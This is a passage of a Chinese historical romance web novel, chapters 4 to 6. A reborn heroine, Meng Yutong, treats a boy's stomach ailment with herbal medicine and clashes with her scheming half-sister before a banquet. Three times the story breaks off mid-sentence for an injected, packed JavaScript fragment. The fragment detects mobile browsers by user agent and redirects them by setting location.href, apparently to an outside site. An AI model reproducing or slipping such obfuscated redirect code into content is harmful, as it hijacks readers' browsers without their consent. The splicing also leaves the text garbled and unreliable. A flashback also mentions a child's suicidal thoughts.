这般想着，他左右环顾了一圈，见四周无人，便踮起脚凑在她耳边道：“姐姐，方才那小二哥说你们看上去关系不错，有件事须得告知姐姐，我兄长他……是定了亲的。” 他大约的误会什么了，孟玉桐觉得有些好笑，偏头望着他，也学他的样子低声道：“那可真巧，我也定了亲的。” 纪明闻言瞪圆了眼，连退两步，一张小脸皱成一团。两人皆有婚约，这情形反倒更教他忧心了 “纪小公子，我家姑娘姓孟，名玉桐。” 白芷心中腹诽，纪公子瞧着聪明睿智，怎么弟弟与他一点也不像，倒是个憨直性子。 “啊！”，纪明猛一拍手，恍然大悟，“原是孟家姐姐！早想见姐姐了，果然如我所想，貌若姑射仙子，温婉可亲！” 纪明一张小脸似乎比刚才更白了几分，呼吸也略显急促，但他只顾着说话，并未在意。 孟玉桐打量了他一眼，打断道：“你独自出来的？” 取香囊这样简单的事情，本来随意遣个人来做便好，纪昀将这事交给纪明，想来是嫌他在跟前闹腾，故意支使出来。 纪明摇摇头，朝对街招了招手，不多时便有个劲装青年快步而来，纪明喊他‘云舟哥’。这位与青书一样，是纪昀的贴身侍从。 青书寡言沉默，擅书画文墨，略通医理，云舟则活泼好动，武艺高强。 “时候不早了，纪小公子早些回府罢。”孟玉桐见有人同他一起，便与白芷告辞。 “孟姐姐再见！”纪明倒是有些依依不舍，朝着两人的背影用力挥手。 白芷心有困惑，轻声问道：“小姐为何不直接遣人将伞送到纪府？偏要绕道茶肆？” 小姐这般倒像是不愿与纪家多有牵扯似的，可明明昨日她的态度还不是这样的。 孟玉桐声音淡淡，“我同纪昀不熟，还是送回茶肆最好，免得引起不必要的误会。” 白芷闻言点头，如此说来倒也合乎情理。 两人才走出两步，忽闻身后传来一声惊呼：“小公子，你怎么了！” 孟玉桐与白芷闻声转过身，只见纪明倒在了茶肆门前的青石砖上，面色苍白，蜷成一团，小小的身子痛苦地痉挛着，正捂着肚子喊着疼。 4. 第 4 章 云舟神色慌张地将人扶起，紧张道：“小公子快醒醒。” 孟玉桐听见响动，见状折返回来，快步走近至纪明身侧。 她蹲下身，伸手往前，正欲探向纪明额头。 “且慢！”云舟横臂阻拦，袖中短匕寒光微现，“姑娘莫要靠近。” 白芷眼疾手快，也不管那雪亮的匕首，伸手‘啪’地打落他提刀的手臂，急道：“我家小姐精通医术，好心替你家公子看看，你拦什么？” 云舟动作一滞，他手中还拿着匕首呢，这小丫鬟还真是虎。 他又将信将疑地看向孟玉桐，只见她神色坦然，耐心解释：“我家中经营药材生意，跟着学过一些岐黄之术，你若是信得过，便让我看看吧。” “疼……”，纪明蜷缩在云舟怀中，面色煞白，捂着肚子叫出声。 云舟心头焦灼。此处离济世堂尚有两街之距，徒步而去少说也得两炷香的功夫。 可眼下小公子腹痛，怕是撑不得许久……他咬牙权衡片刻，终是侧身让开：“那便劳烦孟姑娘看看，小公子方才还精神着，走动了两步，突然就疼得直不起腰。” 孟玉桐颔首，伸手搭上纪明腕间。 脉象沉紧如绞索，寸关尺三部皆涩。 她松开手，再探其腹，中脘穴处硬若顽石，天枢四周筋肉板结，是寒邪直中太阴的症候。 想来又是贪嘴惹的祸。 她眸色微凝：“他来茶肆前吃了什么？” “出门前吃了些府中的茶点，有蟹粉酥、豌豆黄、芝麻酥糖等。方才又在摊子上买了些酸梅果脯，还喝了碗冰饮子……”说着说着，云舟的声音也渐渐弱了下来。 小公子一向体弱脾虚，公子让人格外照看他的饮食，不许他胡乱吃喝。 故而每次到了外头，他便什么也想吃。他实在耐不住小公子，只好睁一只眼闭一只眼。 孟玉桐轻叹：“这便是了。蟹肉咸寒伤脾，梅子酸收敛邪，又佐以冰饮，三寒相叠。纪小公子素来脾阳不足，哪经得起这般克伐。” “我这就送小公子去医馆。”云舟自责不已，抱起纪明就要起身。 “且慢。”孟玉桐拦住他，“车马颠簸，反而加重病情。你先带他去前面聚福客栈暂作安置，余下之事交予我便是。” 云舟踌躇不定。方才这孟姑娘诊脉手法娴熟，连小公子体虚之症都一语道破，可见确有些本事。 可她终究是个闺阁女子……就这样将小公子交给他，他难免有些不放心。 孟玉桐见他迟迟不动作，眉头微微皱了皱，起身让开一条路，“你既然信不过我，不如快些带他去济世堂，也好过在这傻站着浪费时间。” 正僵持间，纪明悄悄扯了扯他衣襟，气若游丝道：“云舟哥，就听孟姐姐的……我相信她。” 纪明觉着自己周遭冷冰冰的，没什么力气，可他还是从云舟怀里仰起头，勉力朝孟玉桐投去一道虚弱的笑。 不知怎的，今日虽是第一次见孟姐姐，但总觉得熟悉，让人很想亲近…… 白芷急得跺脚：“还愣着做什么，快送去客栈啊！” 云舟这才如梦初醒，抱着纪明疾步奔向聚福客栈。店小二见几人神色慌张，忙引至二楼厢房。 待云舟将纪明安顿在榻上，孟玉桐让小二取来笔墨，在一旁写下一张药方。 “云舟公子，劳烦你去药肆抓些药——炒白术五钱、砂仁三钱、焦山楂四钱，再带一罐蜜来。”她顿了顿补充，“若见着鲜紫苏叶，也捎些来。” 云舟抱拳应下，转身匆匆离去。 待云舟离去，孟玉桐向店小二讨来艾条，就着火折子点燃。 艾烟袅袅升起，她示意白芷将艾条悬在纪明关元穴上方三寸处，自己则执起纪明绵软的手，拇指抵住合谷穴，力道均匀地揉按起来。 “疼……”，纪明迷迷糊糊地哼了一声。 “忍一忍。”她手上力道不减，声音却放得轻柔，“你贪嘴时怎么不想想会疼？” 一根艾条燃尽，纪明惨白的小脸总算有了血色。 孟玉桐松开他已被按得发红的手，目光落在他汗湿的额头上——细密的汗珠沾湿了碎发，黏糊糊地贴在肌肤上。 她皱了皱鼻子，顺手扯过纪明的袖口，在他脸上囫囵抹了两把。 “小姐！”白芷瞪圆了眼睛，“奴婢去取块帕子来便是，您怎么……” 多埋汰啊。 “这不就干净了？”孟玉桐挑眉一笑，指尖弹了弹纪明恢复些血色的脸蛋，“说起来也是他自己的汗，哪有这么多讲究。” 白芷忽然愣了愣，仿佛第一次认识自家小姐。 眼前这个笑语晏晏的姑娘，与记忆中那个连衣袖沾了灰都要立刻拂去的端庄闺秀判若两人。 “小姐今日......”白芷欲言又止，心底掠过一丝奇异的感觉，仿佛小姐身上某种无形的沉重的枷锁，悄然撤下了。 “嗯？”孟玉桐正揉着发酸的手腕，闻言抬眸。 “没什么。”白芷摇摇头，觉得自己好像有些想多了。小姐应当只是救人情急罢了。 “对了小姐，方才一时情急，奴婢说了您会医术的事，要是被老夫人知道了……” 孟玉桐指尖一顿。她眸中似有暗流涌动，转瞬又归于平静。 “救人一命胜造七级浮屠。”她垂下眼，声音温柔轻缓，安慰道：“祖母最是明理，不会怪罪的。” 祖母昨日去了庄子上查看药材，她记得祖母这次会在庄子上呆上六七日。 孟玉桐轻轻转动着手腕，最好趁这几日好好想想未来的打算才好。无论是退婚还是开馆，都绕不开祖母点头。 白芷闻言这才放下心来。 说起老夫人，那真的是个很奇怪的人。 老夫人右颊上横亘着一道狰狞疤痕，自眉骨斜贯至耳际，又深又长。 她性子冷硬如铁，行事狠厉，府中上下无人敢亲近。 偏生就是这样一个女子，在老太爷去世后以一己之力撑起了孟家偌大的药材生意。 她还记得夫人去世那一年，小姐日日都哭，哭得眼睛都瞧不见了。 秦姨娘假惺惺要来接人去海棠院，小姐不愿，将自己反锁在房中，三日水米不进，小小的人瘦成了竹竿子。 那日老夫人破天荒踏进杏桃院，逆光站在床前，影子将瘦弱的小姐整个笼罩。 老夫人问小姐：“你母亲死了，你自己的日子也不过了？” 小姐小小的身影蜷缩着：“阿娘死了，我也不想活了。我前日想跳池塘，可那里头水太浅，淹不死我。 “我想上吊，但是房梁太高，我够不着。一头撞死或许比较省事，可我又有些怕疼。后来想了想，还是饿死比较好。” 她舔了舔干燥的嘴唇，继续说：“祖母，我已经饿了三日了，最多再有两日，我应该就能见到阿娘了吧。” “就没有什么想做的事情？” 即便是听了孙女想要寻死的话，老夫人也依然严肃冷硬，不为所动。 小姐愣了愣，过了很久才说：“我想学医。” “我可以教你。”老夫人突然伸手抚上自己脸上的疤痕，不知在想什么。 白芷仿佛看见老夫人的指尖微微抖着。 “嗯？”小姐大概是饿晕了，她已经有些听不清老夫人说的话了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127363|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿萤。”这是老夫人第一次唤小姐乳名，“就把我当做你在这世上最后的牵绊，往后好好过日子吧。” 奇怪的老太太在杏桃院说了一番奇怪的话。 更奇怪的是，小姐渐渐好起来了。 从那之后，她日日按时用饭，按时晨起，按时给老夫人请安，接着便在老夫人的松风院里呆上一整日，到晚上才回来。 老夫人教导小姐医术，却从不许她在外人面前展露。 小姐问过缘由，她记得老夫人是这样说的：“女子学医、习武，练一身本领，可这本领是利己的，对男人们没用，说出去反倒被人指着鼻子说‘离经叛道’。 “我对你没别的指望，日后嫁人，做个温婉贤淑的主母便好。平庸些也无妨，只要你持家娴静，日子必定顺遂平安。” 老夫人自己便是个‘离经叛道’的奇怪女子，可她却坚信，只有懂事听话的女子才能嫁到好人家，过上幸福的生活。于是执意要将孙女培养成符合世俗标准的大家闺秀。 “孟姑娘，药买来了！”云舟风风火火地撞开门，怀中抱着的药包哗啦啦散落在桌上，他也顾不上去管，抹一把额上的汗珠和不知何时蹭上的尘土，急吼吼地问：“我家小公子如何了?” 白芷被这动静惊得一个激灵，回过神来，颇嫌弃地看他一眼，“你这莽汉，小公子刚见好，倒要被你吓出个好歹来。” “云舟哥……”纪明揉着眼睛从榻上支起身子，面色已恢复了些，“我没事了。” 云舟悬着的一颗心这才放下，转向孟玉桐时眼中满是恳切：“姑娘现在该怎么办？” “你将人扶好便是。” 孟玉桐走到桌前，挽起衣袖，她让白芷将药包一一拆开，先将砂仁与焦山楂用温水泡出汁液，混着荔枝蜜调成琥珀色浆汁，又将鲜紫苏叶搓出汁滴入碗中。 “紫苏解蟹毒，蜜糖护脾胃。”她将药碗递给云舟，“趁温热服下。” 云舟接过药，舀一勺送到纪明嘴边，纪明迟疑地抿了一口，忽地睁大了眼睛：“……甜的？” 他不可置信地又尝了一口，眼中一亮，“这世上还有甜的药！” 要知道在纪府，每次喝药都像受刑一般。 兄长开的方子虽见效快，可那滋味他真是一想起就头皮发麻。 眼前这碗药汁却截然不同，不仅清甜怡人，还带着淡淡果香。 纪明当即捧起碗来，咕咚咕咚喝了个干净，末了还意犹未尽地舔舔嘴唇：“孟姐姐，这比兄长开的汤药好喝一百倍！” 云舟看得目瞪口呆。往日里要哄上小半个时辰才肯喝药的小祖宗，今日竟这般爽快？ 见纪明喝了药，面色也好转许多，孟玉桐拢了拢衣袖，向两人道别。 “既然纪小公子已无大碍，我们便先告辞了。” 云舟见状赶忙起身，朝孟玉桐郑重地行了一礼，“今日多谢孟姑娘。” “孟姐姐，等我好些了，我一定让兄长带我去你府上好好道谢。还要让他跟姐姐学学，怎么把药配得这么可口！” 白芷闻言“噗嗤”一笑。 孟玉桐原本柔和的面色却似闪过一丝冷色，她缓缓道：“今日不过是举手之劳，昨日你兄长雨中施伞，便当我还他一个人情，不亏不欠，也就不必挂怀了。” 她语气平淡，带着明显的疏离。说罢，不再看纪明瞬间失落的小脸和云舟感激的眼神，径直转身往屋外走。 ‘不亏不欠’，白芷总觉着这话听着怪怪的，不像是该对未来夫君说的。 晃神间，孟玉桐已转身离开。 “小姐等等我。”白芷摇摇头，顾不上细想，飞快跟了上来。 5. 第 5 章 纪府，暮色四合时分，天光渐隐。 书房外，一丛湘妃竹被晚风轻拂而过，青翠的叶片在茜色的残照里簌簌低语，影子印在窗纱上，如水墨般灵动地游移。 案头尚未掌灯，只见一青衫拓落的年轻男子正伏案疾书。 将尽的夕光透过窗纱，在他铺展的宣纸上筛下斑驳摇曳的竹影。 执笔的手顿了顿，墨迹在纸上洇开一小片。 “公子，”侍立一旁的面容清秀的侍从轻声道，将一盏刚沏得的热茶捧至案边，“您在慈幼局操劳了整日，且饮盏茶，稍歇片刻吧，免得牵得肩背寒痛又发了。” 纪昀放下笔，端起茶盏饮了一口。 茶汤袅袅而起，白色的烟雾环在他清润的眉眼间，好似山涧寒潭里浸着的一块玉，清冷矜贵。 “青书，这几日春寒料峭，慈幼局那些孩子身子骨都不太好，你按这方子明日去医官院领些药送去，免得让他们染上寒气。” 青书上前收起桌面上的药方，躬身应是，却见自家公子忽然抬眸：“纪明回来了？” “回公子，小公子已经回了，好像是有些累了，在屋中休息。” “累了？”纪昀眉尾微挑，显然不太相信。 白日纪明出门前还活蹦乱跳的，这一会儿的功夫就累了，定是又闯了什么祸，心虚不敢来见他。 纪昀慢条斯理地起身，随手拿起桌边放着的药箱往外走，“走吧，随我去瞧瞧。” 两人一路行至纪明寝屋外，隐约听见里头传来窃窃私语。 “云舟哥，今日的事情你千万别同我兄长说，他若是知道了，又得罚我了。” “小公子，你就莫要为难小的了。公子慧眼如炬，怎么可能瞒的过他，您还不如早些坦白，或许责罚还能轻些。” 青书重重咳了一声，抬手敲门，“小公子，公子来看您了。” 屋中那两道声音戛然而止，两人等了几息，才见云舟脚步匆匆上前来开门，将两人请了进去。 纪明背对几人躺在床上，锦被盖住大半身子，声音低低的，“兄长，我有些累了，有什么事明日再说吧。” 纪昀缓步走到床边，瞧见纪明外裳未褪，鞋子散乱地摆在床下，缩在被子里的身子格外紧绷。 他眉眼微沉，视线落在锦被下露出的纸黄色药包一角上。 “拿出来。”声音冰冷无波。 三个字冻得云舟膝盖发软，云舟抬起袖子擦了擦额上的汗，只好上前抽出纪明藏在被下的药包，并着孟玉桐开的药方一起递到了纪昀手里。 “公子恕罪！小公子今日贪嘴吃了些外头的吃食，腹痛发作，幸得孟玉桐姑娘相救……” 待听完来龙去脉，纪昀掂了掂手中药包。打开一角看了一眼，药香清甜，与寻常苦药大不相同。 再展开药方一看，纸上写的是簪花小楷，字迹娟秀，方子用的都是寻常药材，配比却别出心裁，竟将苦涩的药汁调得清甜适口。 他摩挲着手上的药方，孟家姑娘一介商贾女，这手医术却不像寻常闺秀所学。尤其这紫苏配蜜的法子，独辟蹊径。 药效虽不如普通方子那般好，却在保留药性的同时又兼具口感，对于纪明这般厌恶吃药的孩童而言，倒是极好的方子。 纪昀眼前忽然浮现出昨日大雨忽至，茶肆檐下与孟玉桐偶遇的情形。 雨声嘈杂，她安静靠在墙角，一身烟青色纱裙，似要与洇洇水汽融为一体。便如这浅淡雨色一般，是稍不注意就能忽略掉的一抹颜色。 可又偏偏生了一双明丽清灵的眼，像是水墨画卷中点睛的一笔，眼波流转之间，那抹颜色就活了过来。 她会医术？ 纪昀眉心微动，将手中的药包与药方递给云舟，看向床榻上慢吞吞坐起来的纪明，“这几日不必出门了，将这些药喝完。” “吩咐小厨房，一月之内不要给他做任何点心。” 云舟连忙应是。 纪明努努嘴，脸耷拉下来，“兄长，一月也太长了，半月行不行？” 纪昀冷冷盯着他，八风不动，张口吐出冷冰冰的几个字：“那就两月。” “就一月，我觉得一月挺好的！”纪明往前拉住他的手，急忙应下。生怕他不同意，又从怀里掏出香囊塞进纪昀手里，“兄长，你看我把你的香囊取回来了。” 纪昀望向自己手中，除了他昨日落茶肆的蓝色香囊之外，还多了一只粉色的。 素面粗针，做工不甚精细，味道却清淡宜人，闻来舒心。 “呀，这只香囊莫不是孟姐姐的？定是今日嘈杂，她不甚将自己的香囊也带出来给了我，”纪明坐直身子，往前探身想将那粉色香囊取回来，“兄长，你把它给我吧，我改天去还给孟姐姐。” 纪昀面无表情地抽回手，不着痕迹地往后退了一步，“方才忘了说，这两月除了学堂，你哪儿也不准去。” “怎么又成两月了，兄长我下次再也不乱吃东西了，你就饶过我这一次吧。”纪明哭丧着脸求情。 “三个月。”纪昀淡淡打断，眼风扫过，纪明立刻噤声，蔫蔫地缩回被中。 云舟悄悄扯了扯他的袖子，低声道：“小公子，你就应下吧，不然若是夫人知道了，只怕罚得更重。” 纪明闻言脸色变了又变，干脆仰头又躺回了床榻上，扯起锦被将自己罩住，不愿再说话了。 云舟随纪昀走至门边，从墙角拿起一把油纸伞递过来，“公子，这是孟姑娘今日准备放在茶肆还给您的伞，她让小公子一并带了回来。” 将伞放在茶肆还给他？ 倒是避嫌得紧。 他微微垂眸，青书见状将伞接过，又看向纪昀手中的香囊，他察言观色，轻声道：“公子，这香囊是否需要小的送回孟家去？顺带也可以送些谢礼给孟小姐，只是不知道孟小姐喜欢什么。” “不必。”纪昀打开随身带来的药箱，将手中的香囊放在了箱子的隔层之中，“母亲寿宴在即，她自会前来。” 况且这位孟家小姐看来是极注重名声的人，如此冒昧登门道谢反倒不妥。 纪昀转头吩咐云舟道：“今日的事情也不必同父亲母亲说，母亲近日瞧着心情好了许多，省得她又多思虑。” 云舟连忙应下，几人从纪明房中离开。一路往外走时，云舟下意识问出口：“自那事之后，夫人已有八年未曾办寿了，怎么这次……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127364|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青书默不做声，瞪了他一眼。 云舟停下话头，望见纪昀陡然变冷的神色，此时后知后觉自己所言不妥，于是连忙垂下头拱手道：“小的失言，请公子责罚！” 纪昀冷白的指尖轻轻搭在医箱上，眼神淡漠地从云舟身上扫过：“既然知道失言，那便去领二十杖吧。记住，有些事，不该提的，永远都别提。” “小的这就去。”云舟额上沁出些冷汗，忙不迭离开去领罚。 八年前的那件事，是整个纪家，尤其是公子的禁忌。 这八年间，府里无人敢提。许是时间过去久了，近日竟连夫人也开始有所转变。 这便给了云舟错觉，好似那件事随着时间的推移也逐渐被遗忘了似的。 可青书却明白，那事在公子心中，永远也没法过去。 公子面上看着冷淡难以亲近，却不是那般爱计较苛责的人，只是有的事情却是禁忌逆鳞，轻易触碰不得。 青书在心中微微叹口气，云舟这般莽撞又口无遮拦，于他而言，或许挨顿板子也不是坏事，至少能长点记性。 * 夜色渐深，黑色天幕中飘过几缕流云，将弯月遮住。 月色笼罩下的纪宅，万籁俱静，连风也轻柔，怕搅扰了安睡之人的美梦。 梧桐院中的寝榻上，纪昀闭着眼，眉头紧锁。微凉的夜风从未关紧的窗子缝隙吹进来，撩动床帘。 “不……” 一片黑暗中，榻上人猛然惊醒坐起，额角渗出冷汗，手指紧紧攥住被褥。 冷汗浸湿的寝衣贴在背上，被夜风一吹，泛起阵阵凉意。 纪昀闭了闭眼，再睁开时，眸中已是一片清明。起身点灯的动作依旧从容冷静，仿佛方才的失态从未发生。 他支起屋中的直棱窗，窗外竹影婆娑，风吹过来，让人清醒几分。 他总是睡不好觉，夜里多梦，每每夜半惊惧交加醒来，便在窗前看一看这丛竹影，心里便觉得安宁许多。 只是今日却有些不同，除了惯常的梦魇，还多了道模糊的身影——是个女子轮廓，始终看不清面容。 醒来时，心口莫名感觉空了一块。 “荒唐。”他轻嗤一声，指尖在窗棂上收紧，骨节泛白。 这般奇怪的失控之感让他有些不安，他不再去想那梦中的场景，缓缓转身走到榻边，只见香炉里的安神引已经燃尽了。 他便打开一边的药箱，想拿出宫中静岚轩送来的香，却见箱中空空。 他用量愈发大，这香原是已经用完了。 他按了按额心，神色倦倦。总是睡不好，记性越来越差了。 正要将药箱关上时，瞥见那抹粉色素锦香囊静静躺在箱中，散发着若有似无的桃花香。 香囊其貌不扬，香味却恬淡宜人，淡淡的桃花香混合松木香气，还有几分说不上的甜苦味道，似乎亦有安神舒缓之效。 才放了半晌，药箱里都是这个味道。 纪昀修长的手指顿了顿，终是将香囊取出置于药箱之上。药箱就摆在床头的小案上，躺在榻上，也能闻到丝丝缕缕的香气。 后半夜，竟一夜无梦，安睡至天明。 6. 第 6 章 “天色晴明——” 清晨，临安各寺庙的头陀敲着木鱼儿沿街报晓。 晨光透过雕花窗棂洒进屋内，杏桃院里的海棠开得正好，粉白花瓣被风一吹，簌簌落在窗台上。 孟玉桐一早便起来了，此时正在屋子里忙忙碌碌，四处翻找。 她搬出几只檀木箱子，搁在床榻上，自己则跪坐在床榻边，将妆匣里的首饰一件件取出： 一对羊脂玉镂雕岁寒三友镯是及笄时祖母所赐，一支金累丝嵌瑟瑟石双股簪，一副珍珠珊瑚璎珞则是母亲留下给她的。 母亲留下的首饰上，都带有秦州独有的花草木纹样，草木缠绕之技法高超，一眼便知是出自同路。 这几样首饰倒是珍贵，不过于她而言意义也非凡，是不能轻易变卖的。除了这几样外，其余的首饰倒不值什么钱，她便将这些一一又放回檀木箱。 将另一只小匣中的银两会子倒出来清点，其中主要是靠月银和赏钱积攒下的一些私房，大约有五百多两。 她垂眸思索着，昨日回府时让白芷顺道打听了下外头街铺的租金，若是御街上位置好些的地段，年租大约要五六百两。她手上这些钱，只怕用不长久。 “嬷嬷，母亲从前替我攒了些银子，你可知有多少？” 桂嬷嬷思忖半晌，“夫人从秦州来时，带的嫁妆便不少，这些年在临安帮着府中经营亦攒下许多银钱，少说三四千两也是有的。 “只不过如今府里的开销用度都由秦姨娘把持着，那笔钱非到小姐出嫁的时候是不会拿出来的。” 孟玉桐闻言眸光一亮，随即又沉默起来。 母亲是陇西秦州人。当年父亲去秦州收药材时遇险，被母亲所救，两人一见倾心。 母亲随父亲回临安时，带了几箱秦州的金饰玉器做嫁妆。 听说外祖家也是做生意的，只是山高路远，这些年早断了联系。 上一世孟玉桐出嫁时，嫁妆钱几乎都是由祖母亲手操办。她曾向秦姨娘问起过母亲给她留的嫁妆，秦姨娘却说是母亲并没留下什么钱，她便没再过问。 想来这笔钱早就入了她的口袋了。 前世秦姨娘趁她病重打那些龌龊主意，连母亲辛苦攒下的钱也敢私吞，这一回，说什么也不能让她得逞。 “姑娘可是遇上什么难事了？”桂嬷嬷瞧着孟玉桐眼神沉沉，半晌没言语，忍不住轻声问道。 孟玉桐眼睫一颤，旋即漾开一抹浅笑：“嬷嬷别担心，不过是闲来盘算盘算，心里也好有个数。” 话音未落，白芷已脚步匆匆地进来，手里托着一张精致的洒金帖子：“姑娘，纪家打发人送来的请柬，说是后日纪夫人寿辰，请您过府赴宴。” 孟玉桐接过那帖子，指尖触及微凉的纸面，眸色微顿。 从前可没有这么一遭。 她分明记得，嫁入纪家后，那位婆母长年累月闭门清修，诵经念佛，便是年节也难得露上一面。如今怎会忽然大张旗鼓地办起寿宴来？ 桂嬷嬷已急道：“哎哟！这纪夫人往年从不过寿的呀！偏生老夫人还在庄子上盯着那批药材，归期也没个准信儿。 “这寿礼可怎么备？秦姨娘那边定然紧着二姑娘的风光使劲，咱们院里可如何是好？要不，赶紧派人去庄子上寻老夫人拿个主意？” “不必惊动祖母，”孟玉桐起身走到桌前，提笔蘸墨，在纸上飞快写下一张方子，“白芷，按这方子去抓一些药材来。再买些上好的锦缎布料，颜色就挑浅碧或天青的，纹样要清雅一些，梅兰松柏之类的最好，回头做一个香枕。” 白芷应下，拿着方子利索地出了门。 笔尖还未搁下，门外传来一阵香风。 孟玉柔扶着丫鬟的手进来，一身鹅黄襦裙衬得她身段婀娜。 她生得一张容长脸儿，细长的眼睛微微上挑，不做表情时，看上去也是一张笑脸。 “姐姐这是在忙什么？”孟玉柔目光扫过桌上散落的银两，唇角翘得更高，“姨娘让我给姐姐送寿宴的行头来。” 她身后丫鬟捧出一套衣裳，是一套暗紫色遍地金大袖襦，绣着大朵的牡丹团花，配一顶赤金累丝镶红宝的头冠，阳光下晃得人眼花。 时下闺秀们皆以清雅为贵，这般打扮，分明是要她出丑。 “替我谢过姨娘，”孟玉桐浅笑接过，指尖抚过那金线密绣的衣襟，漫不经心道：“不过纪家是清雅人家，祖母与我说过，纪公子喜爱素净珍奇的草木纹，这牡丹是否艳丽了些？” 孟玉柔闻言眸中一亮，立马上前亲热地挽住她：“哪里的话，牡丹大气明丽，更衬姐姐，后日姐姐可一定要穿呀。 “听说纪家大公子也会出席呢。说起来，姐姐还未见过纪公子吧，你们两呀合该见一见了。” 孟玉桐喜静，从前外头的宴会席面她很少去，再加上秦姨娘面热心冷的，她不愿与她打交道，便都是由秦姨娘带着孟玉柔出去。 “妹妹对自己未来姐夫的事情，好像格外关注?”孟玉桐淡淡将手抽出来，不冷不热地回她。 “姐姐哪里的话，我这也是关心姐姐。” 孟玉柔面色一红，细长的眼中闪过一丝恼意，随即又堆起笑：“妹妹不过是想着，纪公子那样的人物，姐姐若能早些相看，也好……”她故意顿了顿，帕子掩着唇角，“免得日后……” “免得日后什么？”孟玉桐抬眸，眼中噙着淡淡的笑意，却让孟玉柔莫名心头一紧。 她故意将话说得含糊，就是想要孟玉桐心中不快，最好能在纪家人面前显露出来，好叫他们看见孟玉桐其实是个小气善妒的人。 照孟玉桐的性子，她定是要在心里悄悄琢磨留下心结的。 却没想到她今日与往常倒是不同，竟这般直接的问了出来。 “哎呀，瞧我这张嘴。”孟玉柔假意轻拍自己的脸颊，“姐姐别往心里去。只是……”她凑近几分，压低声音道：“听说纪公子性子冷得很，寻常姑娘都近不得身。姐姐这般娴静的性子，怕是讨不得纪公子欢心呢。” “妹妹倒是打听得很清楚，”孟玉桐慢条斯理地抚平袖口褶皱，“看来秦姨娘没少费心。不过我劝妹妹一句，少盯着别人一些，妹妹自己的婚事还没相定吧。” 孟玉柔脸色微变，细长的指甲不自觉地掐进掌心。 她最恨孟玉桐这副云淡风轻高高在上的模样，明明是个没娘护着的，偏生总端着嫡女的架子。 “姐姐说笑了，”她强撑着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127365|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意，“姨娘也是为姐姐着想。” 孟玉桐指尖轻抚过那顶赤金头冠上的红宝石，忽地轻笑一声。 原来从这时起，孟玉柔就存了这样的心思。 可惜她算错了一着，纪家重诺，既定了亲事断不会反悔。前世即便纪昀心有所属，不也照样娶了她？ “玉柔妹妹。”她忽然抬眸，眼中澄澈如镜，“你我姐妹多年，今日不妨说句体己话。” 她将头冠轻轻放回锦盒，“这桩婚事，我亦是身不由己。你若有意，能说动祖母退亲……” “姐姐莫不是拿我当三岁孩童哄？”孟玉柔细长的眼睛眯起，帕子掩着嘴角讥诮的笑，“纪家门第显赫，纪公子更是疏朗清隽，世间无二，”她忽然顿了顿，“姐姐这般推拒，莫非心中另有良配？” 暮春的风掠过窗棂，吹得案上医书哗哗作响。 孟玉桐伸手压住书页，窗外一缕天光斜斜映在她舒展的眉宇间，衬得她眸色清透如琉璃。 “妹妹觉得，女子为何要嫁人？” “自然是……”孟玉柔被她沉静的目光慑住，下意识道：“寻得良人倚仗，谋一世安稳。” “靠山山倒，靠人人跑，”孟玉桐起身，推开窗棂，春日的风裹着海棠香涌进来，“你瞧这株海棠，它可需要倚靠谁才能开花？” 孟玉桐指尖接住一片飘落的花瓣，“真正的安稳在这里——”她悄然攥紧掌心，“在自己掌中。” 孟玉柔怔在原地。眼前人明明穿着半旧的青色衫子，发间只插一支素银簪，此刻却像披着漫天霞光，令人挪不开眼。 被她一番话惊住，孟玉柔嗤道：“照姐姐的意思，是不打算嫁人了？” 这般离经叛道，也不知孟玉桐这些年在祖母跟前都学了些什么？ 孟玉桐莞尔一笑：“这就不劳妹妹操心了。后日我定好生打扮，绝不辜负姨娘心意。” “那妹妹就不打扰姐姐准备了。”见孟玉桐答应穿那身衣裳，孟玉柔心中暗骂了一声蠢，随即敷衍地福了福身，转身走了。 离开的步子比来时快了许多。 桂嬷嬷望着她的背影，不免有些忧心：“姑娘真打算穿那身衣裳？老奴瞧着那二姑娘没安好心。” “穿，怎么不穿，”孟玉桐唇角微扬，“不仅要穿，还要敲锣打鼓地穿。” 顺便让秦姨娘将母亲的嫁妆吐出来才好。 桂嬷嬷望向神色泰然的孟玉桐，心情却有些复杂，总觉着眼前的小姐好像与之前有些不一样了。 她似乎不打算按着老夫人喜欢的方式行事了。 她想要打破老夫人为她谋划好的现状？ 她从前最听老夫人的话，老夫人替她定下与纪家的婚事时，她甚至连纪家是哪家人家，纪公子时何许人都不知道，可即便如此，她还是想也没想就应下了。 夫人还在时，小姐心中最看重夫人。 夫人走后，小姐心中最尊重老夫人。 可今日听她一番话，小姐如今，心中好像什么人也没有了。 桂嬷嬷心底掠过一丝忧虑，小姐不打算倚靠老夫人了？ 可看着小姐眉宇间从未有过的松快与光亮，桂嬷嬷一时间又不知道，这究竟是好事还是坏事了。 7. 第 7 章 